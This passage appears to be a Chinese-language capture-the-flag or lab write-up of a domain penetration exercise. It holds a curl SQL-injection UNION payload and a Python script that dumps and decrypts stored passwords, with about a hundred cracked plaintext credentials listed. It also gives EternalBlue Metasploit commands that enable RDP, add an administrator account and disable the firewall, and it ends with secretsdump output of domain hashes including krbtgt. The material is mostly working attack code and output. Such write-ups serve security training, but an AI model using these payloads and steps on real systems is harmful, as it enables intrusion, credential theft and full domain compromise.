4tb2863w"},{"username":"jonah","hash":"6pz3vci72tzi2er0adp5lhubo9bbltgf"},{"username":"joseph","hash":"xbwwsgtbq2lpbhou9luzfpp2b2timg8c"},{"username":"kevin","hash":"u6ipai65rrfnxd4rq2nxy96acxagulau"},{"username":"layla","hash":"1997bqbtaucqw9k67k9rj8bujoz4dvcl"},{"username":"leo","hash":"vbn5v3avnjpl5fwuhs299byy4pbjav2i"},{"username":"levi","hash":"4dfp6ir255c0raboddcteottqa2iqn1o"},{"username":"liam","hash":"e8gwrs7ldoan2bqxy3fet6hu1eyn4fd9"},{"username":"lila","hash":"o9thzxvjw2wyyiz1l6avol78a2yqxr1j"},{"username":"liliana","hash":"jlkwx64rfk0zksrs1ml36t130jrhj9wn"},{"username":"lily","hash":"iuhjoi1cloyb6ow2ungczkfqzstmylam"},{"username":"logan","hash":"1a4vh2pgd0n8iese5w5ahfhu066gynfh"},{"username":"lucas","hash":"8sgivuefwn9yu6ozwvuy9rc1o463pnsx"},{"username":"luke","hash":"bdgtxw6m2s2e11t85o5dx8c2ccwcdujj"},{"username":"luna","hash":"wps9ffvj6y1uk5eevlur8v5tr9pu3rsd"},{"username":"madison","hash":"wcj5a0kpnfp9z3vmwqnt88k744conu4a"},{"username":"mason","hash":"mt79uehtltrm03fgoshvitur4wdraznr"},{"username":"matthew","hash":"6zx1y554ef70tkazopjbsksiwx322x3z"},{"username":"mia","hash":"ek7yv281sn7tewiu8tt7lptqwuxippso"},{"username":"michael","hash":"tpzqqs7pdod17vrn6mg9qv2svqdfygcw"},{"username":"naomi","hash":"y8ilhd9j76yz3bsvpbcd1487jdh3105k"},{"username":"natalie","hash":"vqpg4c1c4f8os7d2metvbd7s5lkqtdbi"},{"username":"nathan","hash":"36e8wu9k0a8xkah2p8mb38tmx03e0xs4"},{"username":"nicholas","hash":"gq6haoptaf7m6hvb326eew2p75rdwwlg"},{"username":"noah","hash":"nwhfoibwkvofdle42z06tlqklcshbavc"},{"username":"nolan","hash":"lc9ouhhvla979y6z7avaagd87syc1ixi"},{"username":"nora","hash":"1d1o1ywt93u4ofulkowvb9qqmwb20i30"},{"username":"oliver","hash":"u5al9903tq6qqdcb8enviu7sbdvb2ghs"},{"username":"olivia","hash":"oqd3rhxzwzhc4ims8bwmingpysnqjbhs"},{"username":"owen","hash":"2sc932spebtnus6vonlqqksn27au8xkv"},{"username":"penelope","hash":"lusejk2urwun9gsmnrsx3xfnr66j7fc7"},{"username":"peyton","hash":"7jtht8uahbndivj3gir9pqb8hyur6hhq"},{"username":"riley","hash":"saqyywkkdziu57d0ugjwd3e1neajuzpb"},{"username":"ruby","hash":"mp3voe174ktk5cynvmu67z2hit0evlg8"},{"username":"samuel","hash":"gb27enach8d9nmdlsy9vqzuzyrufaahi"},{"username":"savannah","hash":"yb840z686oeexk0ic4mj2w98sn5rh7z5"},{"username":"scarlett","hash":"y3wzeaanjgvl6gmgkd9wry19c9hwi9mw"},{"username":"sebastian","hash":"4d9jvja9j4r8l3fcy25vamxlgcpt0kef"},{"username":"skylar","hash":"sqckzi7ys4v9a23bx6u5pwy87eelm4cg"},{"username":"sophia","hash":"xwz9tf262avqddjf3dihwrn8z332n0v4"},{"username":"sophie","hash":"9vxw0itene70uyhy265vflbz0phxam0p"},{"username":"stella","hash":"mc1nicsemuvhlaukm6p4jjuqbendkvub"},{"username":"test","hash":"j2noek79kqud0fwdjmgspkks8u2sjux7"},{"username":"tristan","hash":"4b2qfgrwo18asntbixnbldggivcmyhp6"},{"username":"victoria","hash":"4k4dbv3xh9hw2ok3amtrf6vz73n4p3rm"},{"username":"violet","hash":"aue202rme88sn51fergj54ix10xgqdz9"},{"username":"william","hash":"i575ajafa603296tmp7p3x3taygizcjm"},{"username":"wyatt","hash":"fdlwuun8o6gontkiy87u95utpal88r76"},{"username":"zoey","hash":"6bwkbxj8piuys6z3do460vmpiuj830rb"}]}

curl -s -X POST http://192.168.1.123:8000/api/PasswdHash -H 'Content-Type: application/json' -d "{\"username\":\"x' UNION SELECT login.username, login.passwd || '|' || info.key FROM login INNER JOIN informations info ON login.username = info.username--\"}"

SQL 语句分解

部分	含义
`x'`	闭合前面的单引号，让原查询变为空
`UNION SELECT ...`	联合查询，把后面查询的结果附加到原结果后面
`login.username`	从 `login` 表查用户名
`login.passwd
`FROM login INNER JOIN informations info ON login.username = info.username`	将 `login` 表和 `informations` 表通过用户名关联
`--`	SQL 注释，注释掉原查询后面的部分

{"status":"success","count":103,"data":[{"username":"abigail","hash":"b98adbbc9c5a5a72314f29f99b43caaa|t4asx4it2u9zncr20kizv8iopdhs6unx"},{"username":"adam","hash":"78c65472b8f94e30f0e05bf26d9af749|9ej678fc8ifu1zy2stuumlbo2hh7nj4j"},{"username":"addison","hash":"b9067f63dd917a39960c2f3c9267a0d3|sr576d0u0zwdhqpn60xom1t1ld0pxb6i"},{"username":"aiden","hash":"5c00c8cb78a1b995af34570797fe2e5a|tslo1246omu0kxji97bsydnn8m2hjhkx"},{"username":"alex","hash":"6a5907755531262127cd9eb74404ed15|l28c38t7dzr5cwgvtg9uvdljv99zy3je"},{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"},{"username":"alexander","hash":"5184bba410a5d14778820e33b77855a4|hitbs5vzauhvpwekxu9bgn3f4ij9le19"},{"username":"amelia","hash":"623b18387f2111cce8cff07e4072f5bd|39r6dsm9qso368bdnl23jh540qwjqo6q"},{"username":"anthony","hash":"4e5213bc8ade286a6d6322c4bd29b763|aiwn36h8sooafxabpr50jruxi6zhs1lk"},{"username":"aria","hash":"0f019aad3b548312d903322861bc327f|yl7m9v2bszhm84n81ffz2r04ctgpxpuo"},{"username":"ariana","hash":"f915a897a59177c3e0cba7ea996f1bf5|melogfa9gaejn0e9sjhvhhbwq6xpoyt4"},{"username":"aubrey","hash":"6a73a2a26e79ec010ace6c0d0d77cccf|zx7h5grnbwchjcq7waf9ko32shmyb57e"},{"username":"aurora","hash":"7927e175e6b63b62fb4ec93be95aeb15|ozsrl2eibgyypyabscl3nhlsvyxfh11d"},{"username":"autumn","hash":"2712436668401c727410db6c591480cb|zbjhfqaj3ztxa24yafqxl6ytxlpi4g39"},{"username":"ava","hash":"7fb965dc3b065253156fed39b7bb70e8|602ksea7y14nz3oyo5anhbsng2jejdby"},{"username":"bella","hash":"189166fbd62ecb66c14c6ac17bb9197d|c4ov2njap5lf81d9qme3o21so9zvqjef"},{"username":"benjamin","hash":"3f988f621efa13087dda83c3b1391a51|u4t49y33futw623jj0pzmfc0pn489aco"},{"username":"brian","hash":"e535ccc0216537f26e7f005c94dee774|wy7rdeesot0bf4rpzs00rnzc3y2sz9w9"},{"username":"caleb","hash":"d099f1ff4a7191f1dc2f10192b82e80d|61kmqxe192si02vz3wck8jenijuti0oc"},{"username":"camila","hash":"d11e71a05eb8e5b500938dfbf2a5b9b3|deg4brm0oukqdqs1obrjbcctfm01et2x"},{"username":"camille","hash":"dea09257be59c3e84b58f50dea0c145b|8d23sirjtg11lb6dm4bpu9gzjns3emkp"},{"username":"carter","hash":"93daab41425ad25bee226fc7123337ab|0s0kj3kf95ecw7tinuhml91hik6z8nxt"},{"username":"charlotte","hash":"e1d2516b0bf63282db83a4b4a7f5fd6b|76yn801gerjj7bhh6j3gxz65xahe9u5o"},{"username":"chloe","hash":"90f354ad6a4e618f45164fd123fb1081|66k1axpqef3tbxq1tdkn8501wy1v411e"},{"username":"christian","hash":"4437e30a39c2aa3ca62c20d91a7f3f0d|gs6q8k540sq7gzv4p3ctqc0phbhb2wic"},{"username":"claire","hash":"822968182bf0b2b35def10b6288f017b|kgznq7g718q6imrlglf1iwsip1wdw5mv"},{"username":"daniel","hash":"2631dce1b1e49acdee3b1323e0db419b|l3scbuqu4cy9fjcz2782g9ijqoap28y8"},{"username":"david","hash":"ed4065983dc0c5bd12da19fc1aec9616|h5laiv777jnfj0ihenk8exvns5h6hw10"},{"username":"eli","hash":"8f78ed43664830d144fbb50f200781b4|3613m73id6g6refpy4v24s7yq0gcmx3o"},{"username":"elijah","hash":"13effdc1e8c7ab855add709fe9ac95bc|0nd0pndg7748ydxeccydc4cdw49ow47b"},{"username":"ella","hash":"7b9a2a13a58a55dbbc5c5e32b48557db|tbkqrxhysctlz02vsw998685246cm8jc"},{"username":"ellie","hash":"9f196db2817f7a28365cc5d9a573e38a|69f766f5blwqpaoubjuceoppu3nq5ehh"},{"username":"emily","hash":"72474e073541d8add93f8e5dab520534|45uso3eliy0ofodhrlxmqm1buz0zu6f8"},{"username":"emma","hash":"659515082d6638ca3a7c90e4afe42393|8dczpukj7wch047kov4xjagf4rdgehmi"},{"username":"ethan","hash":"47f37de3ebc80369a1670386f73e16b8|rqxoa9rohd65llta2g7wh591c01jdi6r"},{"username":"evelyn","hash":"021b21c3f965a0745abb5e80217eb31b|4nnq8af5dl63b6qi5kloz3fr138j0fo0"},{"username":"evelynx","hash":"8f29728e94048f5c37ccff84a52ea9e2|0sa36wzprclo1nxk8979131s07rkkx6i"},{"username":"evelynx","hash":"e21009b647a6151fc9c2705f1b14ac1b"},{"username":"gabriel","hash":"185ac553cb396995cbb78001f867ecb0|lpzv1c5cqczr76qfb8k8h4sp7p0qyuqq"},{"username":"grace","hash":"8e249ed71e45f60c698f6b06445217b8|sbfpe2kfmysat3ez8gd7radp4uo99rcb"},{"username":"grayson","hash":"e1f6374b6354cde3157cefe34b6034c5|4vsibgx9ztxy4xzap39lgoswj5cmxi0i"},{"username":"harper","hash":"3dec1ac8ca7f9f4deca4a4567fc20f53|riir28oouef0ya7qv2ezwihgbv65tz68"},{"username":"hazel","hash":"d04c4cebdbffc397e0a940e9251a2e09|xzo1806kdbcvyhnos37bklbt9bqdifoz"},{"username":"henry","hash":"797d4359f1da84858032a26580899172|ghsa4f4lek722lj4558ec4yl2fo4hpo0"},{"username":"hunter","hash":"c3bc69ee9b18890139264ea59cc5d35b|otjodbwjzjqac7sju6weslqo47xyx3tw"},{"username":"isaac","hash":"2e85e7dae214ae1be4fe7f402fb2b363|kj8y14b9y73d37wld73zwj98wkcq4vd8"},{"username":"isabella","hash":"6012f9f69c82d7d1f02c5c5e50bed8c9|6g6c190nvoyhygz0cv69m0lzst55cfmw"},{"username":"isaiah","hash":"4e8d8015133a0572a9eeb7088a704e22|fwaqkfjckbhknr438hjvicumlpj5388w"},{"username":"jack","hash":"a153d26a76252bde830fa711ac5a89b1|2ayqkzy8ouv157cdkfricda5bwk1wmtl"},{"username":"jackson","hash":"f3aef9917396ad13fb79d1e9fe257a9e|ygl1j9x5el4i0u62lbuzod0epx3r0ukd"},{"username":"jacob","hash":"134d594aaccf9fdbca76a9afcc1c51b3|74zeb74wrd3salg9fglh7d37p428j06n"},{"username":"james","hash":"a26321fdf110c6f884530585100f17a7|rg3bvtg8n8h0srrdn935ebyqjbmw4zxo"},{"username":"jaxon","hash":"bc3d2d7d96f9f7ba401ff2645523a1b6|sxrszz7e8gpuste6ycfl66i5u9t0pywh"},{"username":"jayden","hash":"36c28913fe432bb2dfb759c13781fe8a|n8iyy2qhx358xc3cblcngat6b8wiq9dt"},{"username":"john","hash":"21747d38a01d9fe5c789d87ccf2e4f2f|qt7yk3zfki624w44jlro91gg4tb2863w"},{"username":"jonah","hash":"2838e12cbb0612d00ac1dbf302cea9d5|6pz3vci72tzi2er0adp5lhubo9bbltgf"},{"username":"joseph","hash":"dd40f3ab18137c7538da9086b3009712|xbwwsgtbq2lpbhou9luzfpp2b2timg8c"},{"username":"kevin","hash":"6bf1f9287a2788b4ad2b9ca8a9f2a1a8|u6ipai65rrfnxd4rq2nxy96acxagulau"},{"username":"layla","hash":"4bf22f93609e9e0f0a7c62971c87c57b|1997bqbtaucqw9k67k9rj8bujoz4dvcl"},{"username":"leo","hash":"b29fec5c6daaf9d42b4c945fe7d463c4|vbn5v3avnjpl5fwuhs299byy4pbjav2i"},{"username":"levi","hash":"ebcfd6c12adcd8f9eaff0ea9e534ccae|4dfp6ir255c0raboddcteottqa2iqn1o"},{"username":"liam","hash":"014610587bf7c3b0aa68dcaeab2f6881|e8gwrs7ldoan2bqxy3fet6hu1eyn4fd9"},{"username":"lila","hash":"0a6c104b3c57ff77e180fb34839f6553|o9thzxvjw2wyyiz1l6avol78a2yqxr1j"},{"username":"liliana","hash":"b8a9d4cf3ee4d68708cbb0a0fcaf6d79|jlkwx64rfk0zksrs1ml36t130jrhj9wn"},{"username":"lily","hash":"68ae7dba77025f8b479ae03bb3d796c8|iuhjoi1cloyb6ow2ungczkfqzstmylam"},{"username":"logan","hash":"e7a4666a42c2254d92fcd393321ee872|1a4vh2pgd0n8iese5w5ahfhu066gynfh"},{"username":"lucas","hash":"591dbd9f19339cbf3113e3d308ccb8e6|8sgivuefwn9yu6ozwvuy9rc1o463pnsx"},{"username":"luke","hash":"15ef776f5f0e8c19a6b85a68fd9daf44|bdgtxw6m2s2e11t85o5dx8c2ccwcdujj"},{"username":"luna","hash":"56d95d3a4ee282fedfaa77339a839e2f|wps9ffvj6y1uk5eevlur8v5tr9pu3rsd"},{"username":"madison","hash":"0df5f415f0205ec9e7918a0a19b11130|wcj5a0kpnfp9z3vmwqnt88k744conu4a"},{"username":"mason","hash":"d6d25f25c545c10fc5e4c638db16de84|mt79uehtltrm03fgoshvitur4wdraznr"},{"username":"matthew","hash":"654e5502e9ee06d0fb8636981bd259fa|6zx1y554ef70tkazopjbsksiwx322x3z"},{"username":"mia","hash":"0ae8fb7fbec6e73d7f40dd51aea41cb2|ek7yv281sn7tewiu8tt7lptqwuxippso"},{"username":"michael","hash":"ffcbaa3b5519257b32cbd0e6fe8bcb76|tpzqqs7pdod17vrn6mg9qv2svqdfygcw"},{"username":"naomi","hash":"45a8b3da5d61deef1538a23c346cf872|y8ilhd9j76yz3bsvpbcd1487jdh3105k"},{"username":"natalie","hash":"f1355730a76fb3b9572332c9cd3e64b7|vqpg4c1c4f8os7d2metvbd7s5lkqtdbi"},{"username":"nathan","hash":"36a06f751eeb1daaa18f4fea84be10fb|36e8wu9k0a8xkah2p8mb38tmx03e0xs4"},{"username":"nicholas","hash":"d929005d8ca82baf39239ff9145c187e|gq6haoptaf7m6hvb326eew2p75rdwwlg"},{"username":"noah","hash":"8f23f1a80384d1955c1597810c9de1ab|nwhfoibwkvofdle42z06tlqklcshbavc"},{"username":"nolan","hash":"5ef11868d37e7ac1770a57563c2d4c4b|lc9ouhhvla979y6z7avaagd87syc1ixi"},{"username":"nora","hash":"248623805220855aededde11cb16da16|1d1o1ywt93u4ofulkowvb9qqmwb20i30"},{"username":"oliver","hash":"33c6e0418e014a5fedc9685e8016ebd0|u5al9903tq6qqdcb8enviu7sbdvb2ghs"},{"username":"olivia","hash":"be3c37506e988da82ed189a9470c0df1|oqd3rhxzwzhc4ims8bwmingpysnqjbhs"},{"username":"owen","hash":"e41decafc2887f150efdc2f750f312a0|2sc932spebtnus6vonlqqksn27au8xkv"},{"username":"penelope","hash":"146cc260c01ce593814be0993a36bda8|lusejk2urwun9gsmnrsx3xfnr66j7fc7"},{"username":"peyton","hash":"06ffa73a7a631db0b603aa30d5d148e5|7jtht8uahbndivj3gir9pqb8hyur6hhq"},{"username":"riley","hash":"1023acb0b288391dee78bd4a800470e3|saqyywkkdziu57d0ugjwd3e1neajuzpb"},{"username":"ruby","hash":"230a90c7b60084616623ee1c8a4c4b43|mp3voe174ktk5cynvmu67z2hit0evlg8"},{"username":"samuel","hash":"6166ef251941ac5a8c2865f53d2a5564|gb27enach8d9nmdlsy9vqzuzyrufaahi"},{"username":"savannah","hash":"4a16248def14e2a597632cc1763ab639|yb840z686oeexk0ic4mj2w98sn5rh7z5"},{"username":"scarlett","hash":"1431487d28d8b251b229b3d325f4237d|y3wzeaanjgvl6gmgkd9wry19c9hwi9mw"},{"username":"sebastian","hash":"466c27e09c5678b185d4f49b6b8fc280|4d9jvja9j4r8l3fcy25vamxlgcpt0kef"},{"username":"skylar","hash":"8cdf64c0573941bae09dd85eb6685944|sqckzi7ys4v9a23bx6u5pwy87eelm4cg"},{"username":"sophia","hash":"86ce2e0b5266c70e9f09a5bcf368c13a|xwz9tf262avqddjf3dihwrn8z332n0v4"},{"username":"sophie","hash":"a34abedc3ae477e139cdc4e71a0fb689|9vxw0itene70uyhy265vflbz0phxam0p"},{"username":"stella","hash":"f361891cbd2a82954c68be4d3ae07a1f|mc1nicsemuvhlaukm6p4jjuqbendkvub"},{"username":"test","hash":"b8885346c23d9b24132d25cfe50270a8|j2noek79kqud0fwdjmgspkks8u2sjux7"},{"username":"tristan","hash":"bcd5c1eb44c31903180c451fa377a4fc|4b2qfgrwo18asntbixnbldggivcmyhp6"},{"username":"victoria","hash":"2f84dc5ceaf5e1335750a2d5c82bac06|4k4dbv3xh9hw2ok3amtrf6vz73n4p3rm"},{"username":"violet","hash":"6eb5b80411d3ab984e16b34ddfe143bf|aue202rme88sn51fergj54ix10xgqdz9"},{"username":"william","hash":"6c50bfa8dd9f07c7caaa10f7fa634242|i575ajafa603296tmp7p3x3taygizcjm"},{"username":"wyatt","hash":"8fc32d875dbfb43a0ec1157d2edc4bf7|fdlwuun8o6gontkiy87u95utpal88r76"},{"username":"zoey","hash":"69b980a5f73a30a9cf827dfad65c7abd|6bwkbxj8piuys6z3do460vmpiuj830rb"}]}

py脚本提取：

#!/usr/bin/env python3
import hashlib
import json
import sys
import requests
from Crypto.Cipher import AES

BASE = "http://192.168.1.123:8000"
s = requests.Session()
s.trust_env = False

def post_payload(payload):
    r = s.post(f"{BASE}/api/PasswdHash", json={"username": payload}, timeout=10)
    r.raise_for_status()
    return r.json().get("data", [])

def dump_login():
    """拉 login 表: username, hash(md5), passwd(aes密文)"""
    rows = post_payload("zzzz' UNION SELECT username,hash||':'||passwd FROM login--")
    out = {}
    for row in rows:
        u = row.get("username")
        hp = row.get("hash", "")
        if not u or ":" not in hp:
            continue
        h, c = hp.split(":", 1)
        out[u] = (h, c)
    return out

def dump_keys():
    """拉 informations 表: username, key"""
    rows = post_payload("zzzz' UNION SELECT username,key FROM informations--")
    return {row["username"]: row["hash"] for row in rows if row.get("username")}

def decrypt_candidates(key_str, ct_hex):
    key = key_str.encode()
    ct = bytes.fromhex(ct_hex)
    if len(key) not in (16, 24, 32) or len(ct) % 16:
        return
    
    modes = [
        ("ECB", AES.new(key, AES.MODE_ECB)),
        ("CBC-iv0", AES.new(key, AES.MODE_CBC, iv=b'\x00'*16)),
        ("CBC-ivkey", AES.new(key, AES.MODE_CBC, iv=key[:16])),
    ]
    for mode, cipher in modes:
        pt = cipher.decrypt(ct)
        # 去掉padding
        try:
            pt = pt.rstrip(b'\x00')
            text = pt.decode('utf-8')
            yield mode, text
        except:
            pass
        try:
            n = pt[-1]
            if 1 <= n <= 16:
                text = pt[:-n].decode('utf-8')
                yield mode, text
        except:
            pass

print("[*] dumping login and keys ...")
login = dump_login()
keys = dump_keys()
print(f"[+] login: {len(login)}, keys: {len(keys)}")

matches = []
for user, (md5_hash, ct_hex) in sorted(login.items()):
    key = keys.get(user)
    if not key:
        continue
    for mode, text in decrypt_candidates(key, ct_hex):
        if hashlib.md5(text.encode()).hexdigest() == md5_hash:
            matches.append((user, text))
            print(f"[+] {user}:{text}")
            break

with open('creds.txt', 'w') as f:
    for u, p in matches:
        f.write(f"{u}:{p}\n")
print(f"\n[+] Saved {len(matches)} to creds.txt")

流程：

┌─────────────────────────────────────────────────────────────────┐
│                     脚本执行流程                                 │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  1. SQL注入拉取 login 表         2. SQL注入拉取 informations 表 │
│     (username, MD5哈希, AES密文)      (username, key)          │
│                    ↓                              ↓             │
│  3. 关联两张表：用同一个 username 把 key 和 AES密文配对          │
│                              ↓                                  │
│  4. 用 key 尝试多种 AES 模式解密密文，得到明文                   │
│                              ↓                                  │
│  5. 校验：明文算一次 MD5，对比原来存储的 MD5哈希                  │
│                              ↓                                  │
│  6. 保存正确的明文密码到 creds.txt                               │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

得到txt文件：

abigail:ErXE*cR=NYcj
adam::lNDE!|9Y3z+
addison:FNU>SYtl%xbO
aiden:Q$JM>+Q/PR6v
alex:EppaDICZW/2!
alexander:Jh<R~nzmo74Q
amelia:N0wcr1In2FV#
anthony:rRW#ZD_/lV*1
aria:plCa_efzSdCr
ariana:8!6~2njS#S!<
aubrey:vB#BZTW^d8K5
aurora:xBTxx8~XE|Y0
autumn:01NMcv|>U:|V
ava:N-K9!u4F8QR9
bella:fE|c#Zb?<M>u
benjamin:Z!2~ccyvEdKl
brian:4&0~e|M4TP&c
caleb:vnND-cKz/T58
camila:/lZynFs*uW*3
camille:s$~%rN1BZG7i
carter:H=DTY6en!WdA
charlotte:cx3Lov?/|eAB
chloe:f5f:FPyPE>__
christian:8nAmq>rH7uke
claire:p^qhM!~hhq3R
daniel:A>PNWxC~5#D&
david:HDWjNBE%Ae%b
eli:tH1<R%O4lCVI
elijah:/w5lB5R%kxH6
ella:+I8t$7O&e=N_
ellie:pI+ODF!o!=3a
emily:_i:I<9^<8FRr
emma:4AMV:^sUY8u2
ethan:_TdyTexAm9bX
evelyn:o-Bi>zGx~3zv
evelynx:rDHhSIkHX5#v
gabriel:*<BjAwd$/$Nd
grace:PC&Z-y=cynaN
grayson:vGXl0/VH#0y=
harper:%V7D=+!ZzUuY
hazel:xtaoV*jo#Bjy
henry:#*cNHX9slF=C
hunter:NMu|FHubZlrk
isaac:k=F8UvIgOE&=
isabella:=8v>HAb4<B/w
isaiah:4xUgFChl9Y$K
jack:=#*!44ZcGEIZ
jackson:x+Q6SKgI#qZN
jacob:i<uy86cS2HRh
james:s>U~_LLS5KQ>
jaxon:#XfU2WB8ik:p
jayden:I#W^o?KO+Ib?
john:6VCo:VL1M/#z
jonah:+txX9NNI#35r
joseph:ayII8aubA-e/
kevin:M+E=K02|d<20
layla:tu3&zRC4#P0u
leo:jqH0?%%?3<H|
levi:akC?LUjdyj6P
liam:v%o2-&7pv*mW
lila:g<#!4bAJp4f/
liliana:?n/~B<A6w%o7
lily:Rtdlo1zfs~#c
logan:Kaz?rg*=At+L
lucas:/gy$nrQs%4_-
luke:8u<x<!5aCl-t
luna:68mEmi4y*8FF
madison:2uFSGNn!f/nb
mason:1HM1uukyHB|*
matthew:H#gD2SIA8*9/
mia:GK6JImyf3-JA
michael:&jx1v:tt*~e7
naomi:TsitB&DcSIJI
natalie:>TY53tfMGLd~
nathan:NocONLqlryun
nicholas:CqAgSut^VU&7
noah:>x_War6ICM<0
nolan:^QG1m!Q8/e=l
nora:i4dlsJhWkI^a
oliver:P4&v8ZBq#8Gl
olivia:&sEF&*|B2J-6
owen:kKp7GBAiMk=5
penelope:<rZols$ZZpT:
peyton:/dqPN#zQV2~-
riley:MfAIe-J18JP1
ruby:?QFB-Ua&kVgg
samuel:L_Y8:ngmxT:g
savannah:v95m7w_BaZ?~
scarlett:ES=i$%1K~SLK
sebastian:=Q:uS5w8a3<O
skylar:A10o+m+FaNU7
sophia:89o#Z$VYqRXd
sophie:tY3S*t$Y%IFl
stella:g3#W|jX*CZ=v
test:dh$%gdWKD62a
tristan:_lcn-YkqxtCA
victoria:s7kRE?d_Im?<
violet:8qvvngUF%tHQ
william:F2$XU|%l+TD8
wyatt:DfoHxY5k:ts6
zoey:nNY72PX_x/Xo

wp说这些用户密码其实是拿去打flag3的，但其实DC是永恒之蓝可以直接拿下，后续得到域控hash可以直接横向到flag3

192.168.1.83（DC）

搭建代理，stowaway

靶机：

./linux_x64_admin -l 2333

vps：

./linux_x64_agent -c VPS:2333

之前主机总览可知DC存在永恒之蓝

proxychains -q msfconsole
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.1.83
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'		#通过修改注册表开启 Windows 远程桌面（RDP）
run
set COMMAND 'net user xadmin qwe123@ /add' 		#添加用户xadmin/qwe123@
run
set COMMAND 'net localgroup administrators xadmin /add'  		#将用户加到管理员组
run
set COMMAND 'netsh firewall set opmode disable' 		#关闭防火墙
run

rdp登录：

proxychains xfreerdp /v:192.168.1.83 /u:xadmin /p:'qwe123@' /cert:ignore /sec:nla /tls-seclevel:0 /drive:/home/kali/Desktop/tmp

因为我的vps是ubuntu然后kali虚拟机的代理又出了问题导致登录不了

验证账号 xadmin 和密码 qwe123@ 能否成功登录 IP 为 192.168.1.83 的这台机器

proxychains -q nxc smb 192.168.1.83 -u 'xadmin' -p 'qwe123@'

可以，尝试执行命令也是ok

proxychains -q nxc smb 192.168.1.83 -u 'xadmin' -p 'qwe123@' -x 'whoami'

用wmiexec开一个交互式的

proxychains -q python3 wmiexec.py xadmin:'qwe123@'@192.168.1.83

flag在管理员的桌面上

192.168.1.112

域控上抓一下hash

proxychains -q python secretsdump.py 'xadmin:qwe123@'@192.168.1.83

kali代理出问题了，vps装不了secretsdump然后py文件也跑不了，看wp：

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  VPSIP:5001  ...  192.168.1.83:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe6509677ecfc86c5f30c0e7a39f4a18e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c9c203faedca105cff2eefc0bd4cb18:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
MICHA\dc01$:aes256-cts-hmac-sha1-96:36a44602533c6fc34dcc89a72a8b091f9008a395d610a04bf4abaa6bc4ad4d25
MICHA\dc01$:aes128-cts-hmac-sha1-96:22ee53c81de965c9600a481f0d2c9577
MICHA\dc01$:des-cbc-md5:3d686725920da129
MICHA\dc01$:plain_password_hex:c2cf789710f3e5218e88d9d0e03b7bc350ed4328d9a9f931c8b7d74c48400a61f5b824a56ac764d0165b6c231ecaedba0272a3fa83c4ce0347de70c6d4f5643bbc5f337299dc8526a9116f797b418c4327c84d3c5b4d96e1841cffde18c61a4ea90efd3276c79444861b7a166f372ea912ce5f285d9741bbcb5bd55f3da3bd50c0c471ed6d5de7fd49a7cdbf40ba594ed312bf234b96202b3cff43138fe22df24383b3322e3fcac8aed7eaaf764967903465f80b43a7ea515c01a2e864abbec69472c2a2860f1136f2b1bc42770892fce6059092e95505473fe0b830c4b5ee17e8554c7a316fc569232ccce14aa9cac6
MICHA\dc01$:aad3b435b51404eeaad3b435b51404ee:8bc9d033027ddaab7bede06e6ed9a2b1:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x9260d940c878f4ff5594ca00970825936ed132f4
dpapi_userkey:0x3e0c8a62b642b29ba6232e0d81b337493cd8b27f
[*] NL$KM 
 0000   DB 27 52 25 2C 65 57 BB  E7 75 76 74 63 D3 C5 BF   .'R%,eW..uvtc...
 0010   30 D0 10 27 23 B9 5E B2  3D FD 52 8C 43 4B F4 07   0..'#.^.=.R.CK..
 0020   D4 DF DA 13 D5 03 5D 86  C8 BA 9F 78 F7 17 3F 27   ......]....x..?'
 0030   A4 7B 56 D5 81 24 C8 48  CD EE A3 92 A5 BA EF 36   .{V..$.H.......6
NL$KM:db2752252c6557bbe775767463d3c5bf30d0102723b95eb23dfd528c434bf407d4dfda13d5035d86c8ba9f78f7173f27a47b56d58124c848cdeea392a5baef36
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  VPSIP:5001  ...  192.168.1.83:135  ...  OK
[proxychains] Strict chain  ...  VPSIP:5001  ...  192.168.1.83:49666  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b393c2be124a8b1875d340e492177029:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MICHA.COM\test:1103:aad3b435b51404eeaad3b435b51404ee:507f900f67d2a00d4bd77799745689f0:::
MICHA.COM\zarihow:1105:aad3b435b51404eeaad3b435b51404ee:cc4ce384ae49e1f877f6c3bd38fcc7e9:::
N1tols:3101:aad3b435b51404eeaad3b435b51404ee:6912928308e3cda903e6d75bd6091a20:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:8bc9d033027ddaab7bede06e6ed9a2b1:::
WIN-R4DDIB9732K$:1104:aad3b435b51404eeaad3b435b51404ee:a1c8fa78ec067a4031567cde3e957cd8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:481767273049409e1fcade9e64458b6d40ab7e75fe6dbdc87997f020c83cd0d5
krbtgt:aes128-cts-hmac-sha1-96:e7545b77955f4a0a5a72e97ceaa4d623
krbtgt:des-cbc-md5:c110943e57513bf2
MICHA.COM\test:aes256-cts-hmac-sha1-96:96a626e378c16488577f8a2769c1c34e42c06edbe28ecf6dd57a1616f22ec99f
